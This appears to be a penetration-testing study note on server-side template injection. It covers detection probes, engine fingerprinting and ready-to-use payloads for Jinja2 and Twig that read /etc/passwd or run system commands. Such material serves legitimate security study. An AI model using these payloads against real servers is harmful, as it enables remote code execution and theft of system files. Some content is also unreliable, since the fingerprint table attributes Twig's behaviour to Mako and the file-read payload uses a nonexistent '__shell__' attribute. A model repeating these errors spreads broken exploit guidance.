STTI
NOTESSTI (Server-Side Template Injection)
Basics
SSTI occurs when an application embeds user input directly into a Template Engine (like Jinja2, Twig, or Mako) instead of passing it as data. Template engines are designed to execute code to generate dynamic HTML; if you can inject into them, you aren’t just changing text—you are running code on the server.
What to look for
A simple SSTI test is mathematical evaluation: send an expression in the template syntax and check whether the server renders its result.
The Test:
- Input:
{{7*7}}or${7*7} - Result: If the page renders 49, you have confirmed SSTI.
- The Fingerprint: Try different syntaxes to see which engine is running:
${7*7}->${7*7}(No change? Try{{7*7}}){{7*'7'}}->7777777(Likely Jinja2 or Twig){{7*'7'}}->49(Likely Mako)
Common template engines
- Jinja2 (Python/Flask/Django):
- Syntax:
{{ ... }} - Exploit Goal: Access the
__mro__or__subclasses__to find theosmodule and run system commands.
- Syntax:
- Twig (PHP/Symfony):
- Syntax:
{{ ... }} - Exploit Goal: Use the
_selforregisterUndefinedFilterCallbackto executeexec()orsystem().
- Syntax:
- Java (Thymeleaf/FreeMarker):
- Syntax:
${ ... } - Exploit Goal: Use Java Reflection to access
java.lang.Runtimefor RCE.
- Syntax:
Testing workflow
- Step 1: Identify the Engine
- Use the SSTI Decision Tree to confirm if it’s Jinja, Twig, or Smarty.
- Step 2: Read Local Files
- Jinja2 Example:
{{ get_flashed_messages.__shell__.open('/etc/passwd').read() }}
- Jinja2 Example:
- Step 3: Gain RCE (Remote Code Execution)
- Jinja2 (Standard):
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }} - Twig:
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}
- Jinja2 (Standard):
References
- PayloadsAllTheThings - SSTI: The most comprehensive list of payloads for every engine (Python, PHP, Java, Ruby).
- HackTricks - SSTI: Reference material for identifying template engines and their behavior.
- Tplmap: The “SQLmap” of SSTI. Warning: Use cautiously in OSCP (check current exam rules on automated exploitation tools).
Scope note
If you see {{ ... }} and your math doesn’t work, check for Client-Side Template Injection (CSTI). If the site uses AngularJS or Vue.js, the “math” might only work in your browser, not on the server. In that case, treat it like XSS, not RCE.